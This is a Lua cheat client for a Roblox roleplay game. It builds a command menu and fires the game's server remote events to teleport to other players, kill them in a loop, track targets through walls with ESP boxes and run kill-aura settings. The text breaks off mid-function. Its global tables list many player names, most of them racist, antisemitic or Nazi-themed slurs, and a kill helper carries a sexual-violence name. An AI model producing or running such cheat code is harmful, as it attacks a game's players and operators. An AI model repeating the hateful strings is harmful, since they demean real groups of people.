---@diagnostic disable: undefined-global _G.outfits = { {Name = "Brochacho", ID = "151675683.7449702628,1029025,2570215639,2570216445"}; {Name = "Eastern Brochacho", ID = "151675683.4398197509,1033722,2570215639,2570216445"}; {Name = "Western Brochacho", ID = "151675683.7449702628,4307246471,2570215639,2570216445,4307249081,4307264429"}; {Name = "Medieval Brochacho", ID = "151675683.4383940795,13386385,2832699137,2832700156,4267030909,2274742626.4384429792,215748322.2675785344"}; {Name = "Vietnam Brochacho", ID = "151675683.7449702628,3755349626,176718647,769164402"}; {Name = "Pirate Brochacho", ID = "151675683.7449702628,1028859,74970669,4262731024,20721256,812711544,809822273"}; {Name = "Hamaschacho", ID = "151675683.7449702628,7246508581,7246496750,5503629632,5496446998,6598676193,4566943042"}; } _G.commands = { {name = "kill",info = "Kills Specific Player",func = function(args) if GetPlr(args[1]) ~= nil and args ~= nil then rape(GetPlr(args[1])) end end}, {name = "goto",info = "Teleports to Specific Player",func = function(args) if GetPlr(args[1]) ~= nil and args ~= nil and IsValid(GetPlr(args[1])) then Tween(GetPlr(args[1]).Character:GetPivot(),.3) end end}, {name = "rejoin",info = "Rejoins",func = function() game:GetService('TeleportService'):TeleportToPlaceInstance(game.PlaceId, game.JobId) end}, {name = "view",info = "Views Specific Player",func = function(args) if GetPlr(args[1]) ~= nil and args ~= nil and IsValid(GetPlr(args[1])) then game:GetService("Workspace"):FindFirstChild("Camera").CameraSubject = GetPlr(args[1]).Character.Humanoid end end}, {name = "unview",info = "Unviews",func = function() game:GetService("Workspace"):FindFirstChild("Camera").CameraSubject = LocalPlayer.Character.Humanoid end}, } repeat wait(1) until game:IsLoaded() local naem = game:GetService("MarketplaceService"):GetProductInfo(game.PlaceId) if not _G.pianoloaded and naem.Name:find("Electric State DarkRP") or naem.Name:find("Edd_E") then local core = Instance.new("Folder",game:GetService("CoreGui")) core.Name = "Piano UIs" local setcoregui setcoregui = game:GetService("CoreGui").ChildAdded:Connect(function(v) coroutine.wrap(function() wait(1) end)() end) getgenv().var = {} var.prefix = "-" local Loader = Instance.new("ScreenGui") local MainFrame = Instance.new("Frame") local Loader_2 = Instance.new("Frame") local Name = Instance.new("TextLabel") local Name_2 = Instance.new("TextLabel") local UICorner = Instance.new("UICorner") local Note = Instance.new("ScreenGui") local Notifications = Instance.new("Frame") local Client = Instance.new("ScreenGui") local Ammo = Instance.new("ImageLabel") local amt = Instance.new("TextLabel") local type = Instance.new("TextLabel") local warn = Instance.new("TextLabel") local l__NoteSample__1 = Instance.new("Frame") local Frame = Instance.new("Frame") local textName = Instance.new("TextLabel") local textMessage = Instance.new("TextLabel") local UITextSizeConstraint = Instance.new("UITextSizeConstraint") local commandc = Instance.new("ScreenGui") local Framec = Instance.new("Frame") local UICornerc = Instance.new("UICorner") local TextLabelc = Instance.new("TextLabel") local ScrollingFramec = Instance.new("ScrollingFrame") local UIGridLayoutc = Instance.new("UIGridLayout") local UIPaddingc = Instance.new("UIPadding") local TextcBoxc = Instance.new("TextBox") local UITextSizeConstraintc = Instance.new("UITextSizeConstraint") if _G.commands ~= nil then commandc.Name = "command" commandc.Parent = game:GetService("CoreGui") commandc.ZIndexBehavior = Enum.ZIndexBehavior.Sibling Framec.Parent = commandc Framec.BackgroundColor3 = Color3.fromRGB(30, 30, 30) Framec.Position = UDim2.new(0.342696637, 0, 0.36809817, 0) Framec.Size = UDim2.new(0, 186, 0, 279) UICornerc.CornerRadius = UDim.new(0, 15) UICornerc.Parent = Framec TextLabelc.Parent = Framec TextLabelc.BackgroundColor3 = Color3.fromRGB(255, 255, 255) TextLabelc.BackgroundTransparency = 1.000 TextLabelc.Position = UDim2.new(0, 0, -0.001, 0) TextLabelc.Size = UDim2.new(0, 186, 0, 23) TextLabelc.Font = Enum.Font.SourceSans TextLabelc.Text = "Your Prefix: "..var.prefix TextLabelc.TextColor3 = Color3.fromRGB(255, 255, 255) TextLabelc.TextSize = 32.000 ScrollingFramec.Parent = Framec ScrollingFramec.CanvasSize = UDim2.new(0,0,#_G.commands - (#_G.commands / 1.165),0) ScrollingFramec.Active = true ScrollingFramec.BackgroundColor3 = Color3.fromRGB(0, 85, 0) ScrollingFramec.BorderSizePixel = 0 ScrollingFramec.Position = UDim2.new(0, 0, 0.0960698724, 0) ScrollingFramec.Size = UDim2.new(0, 186, 0, 207) ScrollingFramec.ScrollBarThickness = 5 UIGridLayoutc.Parent = ScrollingFramec UIGridLayoutc.SortOrder = Enum.SortOrder.LayoutOrder UIGridLayoutc.CellSize = UDim2.new(0, 150, 0, 34) UIPaddingc.Parent = ScrollingFramec UIPaddingc.PaddingBottom = UDim.new(0, 5) UIPaddingc.PaddingLeft = UDim.new(0, 16) UIPaddingc.PaddingRight = UDim.new(0, 5) UIPaddingc.PaddingTop = UDim.new(0, 5) TextcBoxc.Parent = Framec TextcBoxc.BackgroundColor3 = Color3.fromRGB(255, 255, 255) TextcBoxc.BackgroundTransparency = 1.000 TextcBoxc.Position = UDim2.new(0, 0, 0.838005245, 0) TextcBoxc.Size = UDim2.new(0, 186, 0, 45) TextcBoxc.Font = Enum.Font.SourceSans TextcBoxc.PlaceholderColor3 = Color3.fromRGB(255, 255, 255) TextcBoxc.PlaceholderText = "Command Here" TextcBoxc.Text = "Command Here" TextcBoxc.TextColor3 = Color3.fromRGB(230, 230, 230) TextcBoxc.TextSize = 34.000 for i,v in pairs(_G.commands) do game:GetService("Players").LocalPlayer.Chatted:Connect(function(msg) local args = msg:split(" ") local cmd = msg:sub(2,v.name:len()+1):lower() if cmd == v.name:lower() and msg:sub(1,1) == var.prefix then table.remove(args,1) spawn(function()v.func(args)end) end end) local Frame = Instance.new("Frame") local TextLabel_2 = Instance.new("TextLabel") Frame.Parent = ScrollingFramec Frame.BackgroundColor3 = Color3.fromRGB(0, 39, 0) Frame.BorderSizePixel = 0 Frame.Position = UDim2.new(-0.0537634417, 0, 0.00873362459, 0) Frame.Size = UDim2.new(0, 100, 0, 100) Frame.ZIndex = 2 TextLabel_2.Parent = Frame TextLabel_2.BackgroundColor3 = Color3.fromRGB(255, 255, 255) TextLabel_2.BackgroundTransparency = 1.000 TextLabel_2.Size = UDim2.new(0, 150, 0, 34) TextLabel_2.Font = Enum.Font.SourceSans TextLabel_2.Text = v.name TextLabel_2.TextColor3 = Color3.fromRGB(255, 255, 255) TextLabel_2.TextSize = 32.000 TextLabel_2.TextWrapped = true TextLabel_2.TextScaled = true UITextSizeConstraintc.Parent = TextLabel_2 UITextSizeConstraintc.MaxTextSize = 50 UITextSizeConstraintc.MinTextSize = 16 Frame.MouseEnter:Connect(function() TextLabel_2.Text = v.info end) Frame.MouseLeave:Connect(function() TextLabel_2.Text = v.name end) TextcBoxc.FocusLost:Connect(function(j) if j then local msg = TextcBoxc.Text local args = msg:split(" ") local cmd = msg:sub(1,v.name:len()):lower() if cmd == v.name:lower() then table.remove(args,1) TextcBoxc.Text = "Command Here" spawn(function()v.func(args)end) end end end) end local function draggable(obj) spawn(function() local minitial; local initial; local isdragging; obj.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then obj.Active = true; isdragging = true; local mouse = LocalPlayer:GetMouse() minitial = input.Position; initial = obj.Position; local con; con = game:GetService("RunService").RenderStepped:Connect(function() if isdragging then local delta = Vector3.new(mouse.X, mouse.Y, 0) - minitial; obj.Position = UDim2.new(initial.X.Scale, initial.X.Offset + delta.X, initial.Y.Scale, initial.Y.Offset + delta.Y) else con:Disconnect(); end; end); input.Changed:Connect(function() if input.UserInputState == Enum.UserInputState.End then isdragging = false; end; end); end; end); end) end; draggable(Framec) end Client.Name = "Client" Client.Parent = game:GetService("CoreGui") Client.ResetOnSpawn = false Ammo.Name = "Ammo" Ammo.Parent = Client Ammo.Active = true Ammo.AnchorPoint = Vector2.new(0, 1) Ammo.BackgroundColor3 = Color3.fromRGB(255, 255, 255) Ammo.BackgroundTransparency = 1.000 Ammo.Position = UDim2.new(0, 70, 1, -110) Ammo.Size = UDim2.new(0, 160, 0, 30) Ammo.Visible = false Ammo.ZIndex = 13 Ammo.Image = "rbxassetid://725697201" Ammo.ImageColor3 = Color3.fromRGB(72, 64, 58) Ammo.ImageTransparency = 0.500 Ammo.ScaleType = Enum.ScaleType.Slice Ammo.SliceCenter = Rect.new(32, 32, 32, 32) amt.Name = "amt" amt.Parent = Ammo amt.BackgroundColor3 = Color3.fromRGB(255, 255, 255) amt.BackgroundTransparency = 1.000 amt.Position = UDim2.new(0, 0, 0, -2) amt.Size = UDim2.new(1, 0, 1, 0) amt.ZIndex = 13 amt.Font = Enum.Font.SourceSansBold amt.Text = "28/150" amt.TextColor3 = Color3.fromRGB(255, 255, 255) amt.TextScaled = true amt.TextSize = 38.000 amt.TextStrokeTransparency = 0.500 amt.TextWrapped = true type.Name = "type" type.Parent = Ammo type.AnchorPoint = Vector2.new(0, 0.800000012) type.BackgroundColor3 = Color3.fromRGB(255, 255, 255) type.BackgroundTransparency = 1.000 type.Size = UDim2.new(1, 0, 1, 0) type.ZIndex = 13 type.Font = Enum.Font.SourceSans type.Text = "Rifle Ammo" type.TextColor3 = Color3.fromRGB(255, 255, 255) type.TextSize = 18.000 type.TextStrokeTransparency = 0.500 type.TextWrapped = true warn.Name = "warn" warn.Parent = Ammo warn.AnchorPoint = Vector2.new(0, 0.800000012) warn.BackgroundColor3 = Color3.fromRGB(255, 255, 255) warn.BackgroundTransparency = 1.000 warn.Position = UDim2.new(0, 0, 0, -25) warn.Size = UDim2.new(1, 0, 1, 0) warn.Visible = false warn.ZIndex = 13 warn.Font = Enum.Font.SourceSans warn.Text = "Your weapon wont damage white names due to low karma" warn.TextColor3 = Color3.fromRGB(255, 98, 98) warn.TextScaled = true warn.TextSize = 18.000 warn.TextStrokeTransparency = 0.500 warn.TextWrapped = true Note.Name = "Note" Note.Parent = game:GetService("CoreGui") Note.DisplayOrder = 2 Note.ResetOnSpawn = false Notifications.Name = "Notifications" Notifications.Parent = Note Notifications.AnchorPoint = Vector2.new(1, 0) Notifications.BackgroundColor3 = Color3.fromRGB(255, 255, 255) Notifications.Position = UDim2.new(0.169648349, -10, 0.985276103, -230) Notifications.Size = UDim2.new(0, 300, 0, 100) Notifications.BackgroundTransparency = 1 Notifications.ZIndex = 16 Loader.Name = "Loader" Loader.Parent = game:GetService("CoreGui") Loader.ZIndexBehavior = Enum.ZIndexBehavior.Sibling Loader.Enabled = false MainFrame.Name = "MainFrame" MainFrame.Parent = Loader MainFrame.BackgroundColor3 = Color3.fromRGB(30, 30, 30) MainFrame.BackgroundTransparency = 0.050 MainFrame.BorderSizePixel = 0 MainFrame.Position = UDim2.new(0.451559991, 0, 0.445398748, 0) MainFrame.Size = UDim2.new(0, 200, 0, 146) Loader_2.Name = "Loader" Loader_2.Parent = MainFrame Loader_2.BackgroundColor3 = Color3.fromRGB(33, 83, 30) Loader_2.BorderColor3 = Color3.fromRGB(0, 0, 0) Loader_2.BorderSizePixel = 4 Loader_2.Position = UDim2.new(0.129999995, 0, 0.337509573, 0) Loader_2.Size = UDim2.new(0, 32, 0, 56) Name.Name = "Name" Name.Parent = MainFrame Name.BackgroundColor3 = Color3.fromRGB(255, 255, 255) Name.BackgroundTransparency = 1.000 Name.Position = UDim2.new(0, 0, 0.0447761193, 0) Name.Size = UDim2.new(0, 200, 0, 22) Name.Font = Enum.Font.Gotham Name.Text = "Piano" Name.TextColor3 = Color3.fromRGB(250, 250, 250) Name.TextSize = 30.000 Name_2.Name = "Name" Name_2.Parent = MainFrame Name_2.BackgroundColor3 = Color3.fromRGB(255, 255, 255) Name_2.BackgroundTransparency = 1.000 Name_2.Position = UDim2.new(-0.00499999989, 0, 0.722858369, 0) Name_2.Size = UDim2.new(0, 200, 0, 40) Name_2.Font = Enum.Font.Gotham Name_2.Text = "Loading Functions" Name_2.TextColor3 = Color3.fromRGB(250, 250, 250) Name_2.TextScaled = true Name_2.TextSize = 30.000 Name_2.TextWrapped = true UICorner.CornerRadius = UDim.new(0, 15) UICorner.Parent = MainFrame UICorner.CornerRadius = UDim.new(0, 15) UICorner.Parent = MainFrame l__NoteSample__1.Name = "NoteSample" l__NoteSample__1.Parent = game:GetService("CoreGui") l__NoteSample__1.BackgroundColor3 = Color3.fromRGB(0, 0, 0) l__NoteSample__1.BackgroundTransparency = 1.000 l__NoteSample__1.BorderSizePixel = 0 l__NoteSample__1.Position = UDim2.new(0, -180, 0, 0) l__NoteSample__1.Size = UDim2.new(.9, 0, 0, 40) l__NoteSample__1.ZIndex = 16 Frame.Parent = l__NoteSample__1 Frame.BackgroundColor3 = Color3.fromRGB(0, 0, 0) Frame.BackgroundTransparency = 0.300 Frame.BorderSizePixel = 0 Frame.Size = UDim2.new(1, 0, 1, 0) Frame.ZIndex = 16 textName.Name = "textName" textName.Parent = Frame textName.BackgroundColor3 = Color3.fromRGB(255, 255, 255) textName.BackgroundTransparency = 1.000 textName.BorderSizePixel = 0 textName.Size = UDim2.new(1, 0, 0.5, 0) textName.ZIndex = 16 textName.Font = Enum.Font.SourceSansBold textName.Text = "OnlyTwentyCharacters" textName.TextColor3 = Color3.fromRGB(255, 255, 255) textName.TextSize = 18.000 textName.TextWrapped = true textMessage.Name = "textMessage" textMessage.Parent = Frame textMessage.BackgroundColor3 = Color3.fromRGB(255, 255, 255) textMessage.BackgroundTransparency = 1.000 textMessage.BorderSizePixel = 0 textMessage.Position = UDim2.new(0, 0, 0.5, 0) textMessage.Size = UDim2.new(1, 0, 0.5, 0) textMessage.ZIndex = 16 textMessage.Font = Enum.Font.SourceSansItalic textMessage.Text = "Hey, playername!" textMessage.TextColor3 = Color3.fromRGB(221, 221, 221) textMessage.TextScaled = true textMessage.TextSize = 18.000 textMessage.TextWrapped = true textMessage.TextYAlignment = Enum.TextYAlignment.Top local fov = Drawing.new("Circle") fov.Color = Color3.fromRGB(10,10,136) fov.Thickness = 2 fov.Filled = false setfpscap(62) getgenv().Players = game:GetService("Players") getgenv().LocalPlayer = Players.LocalPlayer getgenv().Table = {} local kawhitelist = {} local vecles = {} local randombul = { 2; } local pianousers = {} local killauratargets = {} local healaurablacklist = {} local esprinter = {} getgenv().sexesp = { "ProfoundProvidence"; "FatDerpyMM2Trades"; "FabreezeAddict"; "6n0ob_slayer9"; "TheAltermen_4"; "TheAltermen_3"; "TheAltermen_2"; "TheAltermen_1"; } getgenv().ebgenwgnWRHqew6WOJNRHWRH243gwjgnwj_81gnhjwngrjwNHKEMNWERG = { "BzeatzingMzySlzvaves"; "hellojoemamacare"; "XxHebrooSlaya68419xX"; "JoinTheKIuKI_uxKIan"; "XxxH_zitlerHeilerxxX"; "54xSchizophreniaSchi"; "S_mexlord"; "GrandWiza_dMan"; "iixxFzagHaterxxii"; "GrandDrago_n"; "Fasc_istSwag"; "6thJu_ne1944"; "niglelger"; "December24th_1l865US"; "amijoemamacare"; } getgenv().eunfwunghngiriNINGIH2424B4299UH1N4N__namecall2h4nfih2grgw = {"Zach_HilI","Big_FIoyd","SomaIian_Pirate1","Mohammed_AbduIaziz","EpicGamerGamingSocks","romefall","romefalls_thesequel","Sam_EsmaiI","ramfals_x3","harpmod","blackincarceratedman","TheRealT_sai","Based_RedpiIIed1","aIkonoct","ZionistPhoneCredit","Cyanides_Forehead","KYS_LOL135","REDDPiIIed","Aussie_Femboy","JoinThe41PercentLol","Kentrell_Amos","redarett","VerifiedREDDMason","Kruben_Simon","Cynia_Gagahunga","TiananmenSquare_1986"} getgenv().mayberespectedmaybenotqwowiuldeverknowman = {} getgenv().wrugjetutnwienbueijientbietbietbietibneitbnetitbjeiotbmeiotbhietbh = { "PebnisHead" } local ingamemods = { "2J0Y"; "Edd_e"; "RyIock"; "J_mey"; "snas_Kid101"; } var.ver = "Piano V2.2.2" local RunService = game:GetService("RunService") local Mouse = LocalPlayer:GetMouse() local old_namecall = nil local mt = getrawmetatable(game) local huntingp = false local Stealing = false local chams = Instance.new("Folder",core) chams.Name = "chams" local sel local old_index = nil local note_3 = Instance.new("Sound") note_3.SoundId = "rbxassetid://405321226" local note_4 = Instance.new("Sound") note_4.SoundId = "rbxassetid://6432593850" note_3.Parent = core note_4.Parent = core local l__BH__2 = game:GetService("ReplicatedStorage"):WaitForChild("Samples"):WaitForChild("BH"); local u3 = ColorSequence.new(Color3.new(0.7, 0.2, 0.2), Color3.new(0.9, 0.9, 0.9)); local l__SamplesProj__4 = game:GetService("ReplicatedStorage"):WaitForChild("Samples"):WaitForChild("SamplesProj"); local l__BHM__5 = game:GetService("ReplicatedStorage"):WaitForChild("Samples"):WaitForChild("BHM"); local l__HM__10 = game:GetService("ReplicatedStorage"):WaitForChild("Samples"):WaitForChild("HM"); local l__TweenService__11 = game:GetService("TweenService"); local l__LocalPlayer__1 = LocalPlayer; local l__mouse__2 = l__LocalPlayer__1:GetMouse(); local l__ReplicatedStorage__3 = game:GetService("ReplicatedStorage"); local l__Client__4 = l__LocalPlayer__1:WaitForChild("PlayerGui"):WaitForChild("Client"); local l__CoreGui__69 = core local u2 = {}; local l__Notifications__3 = Notifications; local u4 = {note_3,note_4}; local u5 = {[2] = Color3.fromRGB(38, 11, 11), [5] = Color3.fromRGB(70, 54, 35), [6] = Color3.fromRGB(11, 38, 11)}; local sounds = { 9, 13, 18, 20, 19 } local destroyesp = {} var.walkspeeds = 5 var.ckb = Enum.KeyCode.M var.hbesize = 15 var.rounds = 2 var.roundtime = .12 var.pdamage = 7 var.ss = 500 var.sss = 10 var.st = 2 var.lootespsize = 15 var.playerespsize = 14 var.kara = 200 var.kaft = .12 var.asghealth = 50 var.Auto = "ANS" var.affect = "LMH" var.animation = 3 var.animspeed = 50 var.sound = 9 var.firerate = 0 var.spread = 0 var.laga = 2500 var.loudaimsound = 13 var.WalkspeedBind = Enum.KeyCode.Z var.hbetrans = .7 var.matespsize = 12 var.printespsize = 12 var.etnespsize = 12.5 var.cursorid = "6758152761" _G.pianoloaded = true var.outfits = _G.outfits var.commands = _G.commands var.selected = LocalPlayer var.bypassws = 50 var.bypassjp = 150 var.carespsize = 12 var.NSide = "Left" var.looprandomoutfitstime = 1 var.killauratargets = "Red Names" var.trigrefreshrate = 0 var.hbegreen = 255 var.hbeblue = 255 var.hbered = 255 var.carss = 1000 var.killkarmaamount = 500 var.lagbind = Enum.KeyCode.LeftControl function func1(p2) if var.NSide == "Left" and not var.SNotifs then p3 = 2 local v6 = l__NoteSample__1:Clone() v6.Position = UDim2.new(0, 0, 0, 0) v6.Frame.Position = UDim2.new(-1, 0, 0, 0) u2[v6] = v6.Position v6.Frame.textMessage.Text = p2 v6.Frame.textName.Text = "Piano Client!" local v7, v8, v9 = pairs(l__Notifications__3:GetChildren()) while true do local v10, v11 = v7(v8, v9) if not v10 then break end v9 = v10 u2[v11] = u2[v11] - UDim2.new(0, 0, 0, 42) v11:TweenPosition(u2[v11], "Out", "Quad", 0.35, true) end; if p3 == nil then u4[math.random(1, 2)]:Play() else u4[p3]:Play() if u5[p3] ~= nil then v6.Frame.BackgroundColor3 = u5[p3] end end v6.Parent = Notifications; v6.Frame:TweenPosition(UDim2.new(0, 0, 0, 0), "Out", "Back", 0.5, true) spawn(function() wait(8) v6.Frame:TweenPosition(UDim2.new(-1.1, 0, 0, 0), "Out", "Quad", 1, true) wait(1) v6:Destroy() u2[v6] = nil end) elseif var.NSide == "Right" and not var.SNotifs then game:GetService("ReplicatedStorage"):WaitForChild("Events"):WaitForChild("Note"):Fire("Piano Client!",p2,4) end end getgenv().senderror = func1 function loader(text, pos) Loader_2:TweenSize(pos,"Out",Enum.EasingStyle.Linear,.1) Name_2.Text = text wait(math.random(.4,.6)) end function antistealoutfit() if var.AntiSteal then game:GetService('ReplicatedStorage'):FindFirstChild('Events').MenuActionEvent:FireServer(8,{LocalPlayer.PlayerData.RoleplayName.Value;"Piano Client Winning";false}) end end function func2(p2) if var.NSide == "Left" and not var.SNotifs then p3 = 1 local v6 = l__NoteSample__1:Clone() v6.Position = UDim2.new(0, 0, 0, 0) v6.Frame.Position = UDim2.new(-1, 0, 0, 0) u2[v6] = v6.Position v6.Frame.textMessage.Text = p2 v6.Frame.textName.Text = "Piano Client" local v7, v8, v9 = pairs(l__Notifications__3:GetChildren()) while true do local v10, v11 = v7(v8, v9) if not v10 then break end v9 = v10 u2[v11] = u2[v11] - UDim2.new(0, 0, 0, 42) v11:TweenPosition(u2[v11], "Out", "Quad", 0.35, true) end; if p3 == nil then u4[math.random(1, 2)]:Play() else u4[p3]:Play() if u5[p3] ~= nil then v6.Frame.BackgroundColor3 = u5[p3] end end v6.Parent = Notifications; v6.Frame:TweenPosition(UDim2.new(0, 0, 0, 0), "Out", "Back", 0.5, true) spawn(function() wait(8) v6.Frame:TweenPosition(UDim2.new(-1.1, 0, 0, 0), "Out", "Quad", 1, true) wait(1) v6:Destroy() u2[v6] = nil end) elseif var.NSide == "Right" and not var.SNotifs then game:GetService("ReplicatedStorage"):WaitForChild("Events"):WaitForChild("Note"):Fire("Piano Client",p2,math.random(1,3)) end end getgenv().sendnotification = func2 function func3(Pos, sped) if LocalPlayer.Character ~= nil then local TweenService = game:GetService("TweenService") local tween = TweenService:Create(LocalPlayer.Character:WaitForChild("HumanoidRootPart"), TweenInfo.new(sped), {CFrame = Pos}) tween:Play() end end getgenv().Tween = func3 function func4(Player) if #game:GetService("Workspace").CurrentCamera:GetPartsObscuringTarget({Player.Character.HumanoidRootPart.Position}, {Player.Character, LocalPlayer.Character}) == 0 then return true else return false end end getgenv().wallcheck = func4 function func5(Plr) if not Plr then return nil end for _, v in ipairs(Players:GetPlayers()) do if v.Name:lower():find(Plr:lower()) == 1 or v.DisplayName:lower():find(Plr:lower()) == 1 then return v end end end getgenv().GetPlr = func5 function func6(Player) if Players:FindFirstChild(Player.Name) and game.Workspace:FindFirstChild(Player.Name) and Player.Character ~= nil and Player.Character:FindFirstChild("HumanoidRootPart") then return true else return false end end getgenv().IsValid = func6 function func7(Player) if IsValid(Player) and not Player.Character:FindFirstChild("NameTag") and Player.Character.Health ~= 0 then return true else return false end end getgenv().IsSemiGodded = func7 function func8(num,vis) if vis == "a" then getrenv()._G.Triggered(LocalPlayer.Character.HumanoidRootPart,num,"a") elseif vis == 1 then getrenv()._G.Triggered(LocalPlayer.Character.HumanoidRootPart,num,1) elseif vis == nil or vis == "" then getrenv()._G.Triggered(LocalPlayer.Character.HumanoidRootPart,num,"") end end getgenv().mpibself = func8 function func9(Player) m = Player.Character:FindFirstChildWhichIsA("Tool") if IsValid(Player) and m and m:FindFirstChild("Handle"):FindFirstChild("Reload") and m.Name ~= "Confetti Gun" and m.Name ~= "Beach Gun" then return true else return false end end getgenv().IsGun = func9 function func10(Player) m = Player.Character:FindFirstChildWhichIsA("Tool") if IsValid(Player) and m and m:FindFirstChild("Handle"):FindFirstChild("Reload") and m.Name ~= "Confetti Gun" and m.Name ~= "Beach Gun" then return m else return nil end end getgenv().GetGun = func10 function func11(Player) if Player.Character:FindFirstChildWhichIsA("Tool") then return true else return false end end getgenv().IsTool = func11 function func12(Player) if IsValid(Player) then m = Player.Character:FindFirstChildWhichIsA("Tool") if m then return m else return nil end end end getgenv().GetTool = func12 function func13(cframe, damage) spawn(function() end) end getgenv().HitMarker = func13 function func27(Player) if not Player:IsFriendsWith(LocalPlayer.UserId) and var.FriendService then return false elseif Player:IsFriendsWith(LocalPlayer.UserId) and var.FriendService then return true end end getgenv().Friend = func27 function func14(p6, p7) spawn(function() if p6 == nil then return; end; if p7 ~= nil then if p7 ~= 1 then if p7 == 2 then local v23 = l__BH__2:Clone(); if p7 == 2 then v23.H1.Color = u3; v23.B2.Color = u3; end; v23.CFrame = p6; v23.Parent = game.Workspace.Particles; v23.H1:Emit(14); v23.B2:Emit(math.random(0, 3)); game.Debris:AddItem(v23, 5); return; end; else v23 = l__BH__2:Clone(); if p7 == 2 then v23.H1.Color = u3; v23.B2.Color = u3; end; v23.CFrame = p6; v23.Parent = game.Workspace.Particles; v23.H1:Emit(14); v23.B2:Emit(math.random(0, 3)); game.Debris:AddItem(v23, 5); return; end; else v23 = l__BH__2:Clone(); if p7 == 2 then v23.H1.Color = u3; v23.B2.Color = u3; end; v23.CFrame = p6; v23.Parent = game.Workspace.Particles; v23.H1:Emit(14); v23.B2:Emit(math.random(0, 3)); game.Debris:AddItem(v23, 5); return; end; if p7 == "C" then local v24 = l__SamplesProj__4[p7 .. "H"]:Clone(); v24.CFrame = p6; v24.Parent = game.Workspace.Particles; v24["1"]:Emit(3); v24["2"]:Emit(3); v24["3"]:Emit(3); v24["4"]:Emit(2); v24["5"]:Emit(8); game.Debris:AddItem(v24, 5); return; end; if p7 == "LMF" then else if p7 == 3 then local v25 = l__BHM__5:Clone(); v25.CFrame = p6; v25.Parent = game.Workspace.Particles; v25.H1:Emit(7); v25.H2:Emit(10); getrenv()._G.Triggered(v25, 14, "a"); game.Debris:AddItem(v25, 5); end; return; end; local v26 = l__SamplesProj__4[p7]:Clone(); v26.CFrame = p6; v26.Parent = game.Workspace.Particles; local v27, v28, v29 = pairs(v26:GetChildren()); while true do local v30, v31 = v27(v28, v29); if v30 then else break; end; v29 = v30; v31:Emit(v31.Rate); end; game.Debris:AddItem(v26, 5); end) end; getgenv().CreateBulletHole = func14 function func15(Player1, Player2, mag) if IsValid(Player1) and IsValid(Player2) and (Player1.Character.HumanoidRootPart.Position - Player2.Character.HumanoidRootPart.Position).magnitude <= mag then return true else return false end end getgenv().magnitudeplrs = func15 function func26(Player) if IsValid(Player) then if not Player.Character:FindFirstChild("NameTag") then return "Purple" elseif Player.Character:FindFirstChild("NameTag") and Player.Character:FindFirstChild("NameTag"):FindFirstChild("TextLabel").TextColor3 == Color3.fromRGB(255,187,69) then return "Orange" elseif Player.Character:FindFirstChild("NameTag") and Player.Character:FindFirstChild("NameTag"):FindFirstChild("TextLabel").TextColor3 == Color3.fromRGB(112,186,255) then return "Blue" elseif Player.Character:FindFirstChild("NameTag") and Player.Character:FindFirstChild("NameTag"):FindFirstChild("TextLabel").TextColor3 == Color3.fromRGB(255,255,255) then return "White" elseif Player.Character:FindFirstChild("NameTag") and Player.Character:FindFirstChild("NameTag"):FindFirstChild("TextLabel").TextColor3 == Color3.fromRGB(255,33,33) then return "Red" end end end getgenv().GetColorName = func26 function func69420(Player) if IsValid(Player) then if not Player.Character:FindFirstChild("NameTag") then return Color3.fromRGB(10,10,10) elseif Player.Character:FindFirstChild("NameTag") and Player.Character:FindFirstChild("NameTag").TextLabel.TextColor3 == Color3.fromRGB(255,187,69) then return Color3.fromRGB(255,187,69) elseif Player.Character:FindFirstChild("NameTag") and Player.Character:FindFirstChild("NameTag").TextLabel.TextColor3 == Color3.fromRGB(112,186,255) then return Color3.fromRGB(112,186,255) elseif Player.Character:FindFirstChild("NameTag") and Player.Character:FindFirstChild("NameTag").TextLabel.TextColor3 == Color3.fromRGB(255,255,255) then return Color3.fromRGB(0,128,0) elseif Player.Character:FindFirstChild("NameTag") and Player.Character:FindFirstChild("NameTag").TextLabel.TextColor3 == Color3.fromRGB(255,33,33) then return Color3.fromRGB(255,33,33) elseif not Player.Character:FindFirstChild("NameTag") then return Color3.fromRGB(10,10,10) end end end getgenv().GetColor = func69420 function func16(plr) if IsValid(plr) then if var.killauratargets == "Red Names" and GetColorName(plr) == "Red" then return true elseif var.killauratargets == "Yellow Names" and GetColorName(plr) == "Orange" and IsFlagged(LocalPlayer) then return true elseif var.killauratargets == "Both" and plr.Flagged.Value then return true else return false end end end getgenv().canbekilled = func16 function func17() if LocalPlayer.Job.Value ~= "Soldier" and LocalPlayer.Job.Value ~= "Mayor" and LocalPlayer.Job.Value ~= "Detective" and LocalPlayer.Job.Value ~= "Farmer" then if (IsSemiGodded(LocalPlayer) and LocalPlayer.Flagged.Value) then game:GetService("ReplicatedStorage").Events.MenuActionEvent:FireServer(6,true) elseif not IsSemiGodded(LocalPlayer) then game:GetService("ReplicatedStorage").Events.MenuActionEvent:FireServer(6,true) elseif (IsSemiGodded(LocalPlayer) and not LocalPlayer.Flagged.Value) then senderror("You can't flag!") return nil end else senderror("You can't flag!") return nil end end getgenv().flagup = func17 function func18(Player) if IsValid(Player) and Player.Flagged.Value then return true else return false end end getgenv().IsFlagged = func18 function func20(Player) oldpos = LocalPlayer.Character:GetPivot() repeat Tween(Player.Character:GetPivot(), .1) wait(.153) flagup() game:GetService("ReplicatedStorage").Events.WeaponReloadEvent:FireServer(tostring(LocalPlayer.PlayerGui.Ammo.Frame.type.Text), 25, GetGun(LocalPlayer)) wait(.01) game:GetService("ReplicatedStorage").Events.MenuActionEvent:FireServer(33, Player.Character:GetPivot(), 2,Player.Character:WaitForChild("Humanoid"), 50, GetGun(LocalPlayer), nil, 1) CreateBulletHole(Player.Character:GetPivot(),2) HitMarker(Player.Character:GetPivot(), GetGun(LocalPlayer):GetAttribute("Damage")) until Player.Character.Health == 0 or not IsValid(Player) or Player == nil or var.unbreakkill or not IsGun(LocalPlayer) LocalPlayer.Character:PivotTo(oldpos) end getgenv().GunKill = func20 function func21(Player) senderror("patched") end getgenv().MeleeKill = func21 function ischammed(property) for i,v in ipairs(chams:GetChildren()) do if v.Adornee and v.Adornee == property then return true end end return false end function deletecham(property) for i,v in ipairs(chams:GetChildren()) do if v.Adornee and v.Adornee == property then v:Destroy() end end end function enespcham(BodyPart,findname,size,color) coroutine.wrap(function() local Box = Instance.new("BoxHandleAdornment") Box.Size = BodyPart.Size + size Box.Name = tostring(findname) Box.Adornee = BodyPart Box.Color3 = color Box.AlwaysOnTop = true Box.ZIndex = 1 Box.Transparency = 0.5 Box.Parent = chams end)() end function enesp(prop,j) coroutine.wrap(function() 